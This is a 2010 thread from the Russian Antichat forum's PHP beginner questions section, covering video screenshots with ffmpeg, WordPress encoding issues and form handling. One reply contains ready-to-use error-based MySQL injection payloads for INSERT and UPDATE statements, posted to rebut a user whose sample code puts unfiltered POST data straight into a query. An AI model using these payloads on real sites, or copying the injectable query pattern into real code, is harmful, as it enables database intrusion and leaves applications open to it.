Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   [php] Новичкам: задаем вопросы (https://forum.antichat.xyz/showthread.php?t=40896)

dimm666 08.06.2010 14:38

Народ, хелп, плз! Как средствами php снять скрины с видеоролика? Формат ролика - H.264

rushter 08.06.2010 14:40

ffmpeg

dimm666 08.06.2010 14:49

Цитата:

Сообщение от rushter
ffmpeg

- и без вариантов? А если у хостера нету?

CyberHunter 08.06.2010 18:20

Подскажите, что сделать, чтобы в WordPress вместо: "ґСЂР°РІР»СЏ", выводились нормальные символы? ВП стоит на денвере.

Chaak 08.06.2010 18:27

УТФ-8 кодировку базе данных задать

CyberHunter 08.06.2010 18:35

Цитата:

УТФ-8 кодировку базе данных задать
\usr\local\mysql-5.1\data\wp\db.opt в этом файле? Или где? Вот что в этом файле:
Цитата:

default-character-set=UTF-8
default-collation=UTF-8
До этого было не УТФ-8, а другая кодировка.

Failure 08.06.2010 18:49

2 Adio

ну как бы это есть верный подход, данные которые заносятся в базу ничем и никак фильтровать не надо, а фильтровать от всяких xss надо уже на выходе, ну раз тебе уж так хочется, то делай.
просто перед записью в бд фильтруй, тем же способом что я написал выше, например
PHP код:

<?php
$name 
$_POST['name']; //передаваемый параметр name с формы
$name htmlentites(...);
....
mysql_query("INSERT INTO .... VALUES('{$name}', ...)");
....
?>

2 CyberHunter
в денвере если не ошибаюсь, есть phpmyadmin, там и смотри в какой кодировке все нормально, и ставь её в wp-config.php
//define('DB_CHARSET', 'utf8');

Redwood 08.06.2010 20:22

Цитата:

Сообщение от Failure
данные которые заносятся в базу ничем и никак фильтровать не надо

:eek:

Код HTML:

insert into test (id,a) values (1,'sqli'); 

insert into test (id,a) values (sqli,'test'); 

insert into test set id=sqli; 

insert into test set a='sqli'; 

update test set id=sqli where...; 

update test set a='sqli' where...; 

Код HTML:

http://site.com/?sqli=1')on duplicate key update a=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--

http://site.com/?sqli=1,(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a))--

http://site.com/?sqli=1 on duplicate key update a=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)

http://site.com/?sqli=1'on duplicate key update a=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--

http://site.com/?sqli=1 where (1)=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--

http://site.com/?sqli=1'where (1)=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--


Vlad&slav 08.06.2010 21:13

Какие бд, вы чё? Эта фигня при аякся, чтобы убрать надо в файлах к которым идёт запрос аякса прописать хеадер, в этом вордпресе половину переписывать прешлось

Deani 09.06.2010 00:02

У меня такой вопрос. Есть форма на сайте site.com/index.php:
PHP код:

<?php 

if ( isset($_POST['login']) && isset($_POST['pass']) && $_POST['login'] == 'admin' && $_POST['pass'] == 'admin') {
    echo 
'DATA';
} else {

echo <<<here
<form method='POST'>
<input type='text' name='login'>
<input type='text' name='pass'>
<input type='submit'>
</form>
here;

}
?>

Как получить доступ к строке DATA с локалхоста ?


Время: 01:25